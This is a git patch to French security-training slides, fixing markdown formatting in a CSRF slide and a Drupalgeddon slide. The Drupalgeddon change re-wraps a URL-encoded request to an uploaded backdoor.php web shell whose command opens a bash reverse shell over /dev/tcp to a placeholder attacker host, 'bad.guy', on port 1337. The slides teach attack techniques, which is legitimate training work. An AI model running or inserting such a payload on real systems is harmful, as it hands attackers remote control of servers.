From 4bef39b76a925e3826fe8c2e90bfc973e55e8f8a Mon Sep 17 00:00:00 2001 From: Vincent Mazenod <vmazenod@gmail.com> Date: Sun, 9 Feb 2020 21:53:58 +0100 Subject: [PATCH] fix csrf drupalgeddon --- content/slides/1337/md/csrf.md | 4 +--- content/slides/1337/md/drupalgeddon.md | 3 ++- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/content/slides/1337/md/csrf.md b/content/slides/1337/md/csrf.md index 9756b66..ff4cb91 100644 --- a/content/slides/1337/md/csrf.md +++ b/content/slides/1337/md/csrf.md @@ -38,9 +38,7 @@ Note: ## Mode opératoire -<div style="text-align: center"> -  -</div> + Note: - rappel ici mail, mais aussi diff --git a/content/slides/1337/md/drupalgeddon.md b/content/slides/1337/md/drupalgeddon.md index 87235f8..a6fcab0 100644 --- a/content/slides/1337/md/drupalgeddon.md +++ b/content/slides/1337/md/drupalgeddon.md @@ -258,7 +258,8 @@ en version encodée ```http http://drup.al/sites/default/files/backdoor.php? -cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0``` +cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0 +``` * connecte le serveur sur l'IP de l'attaquant -- GitLab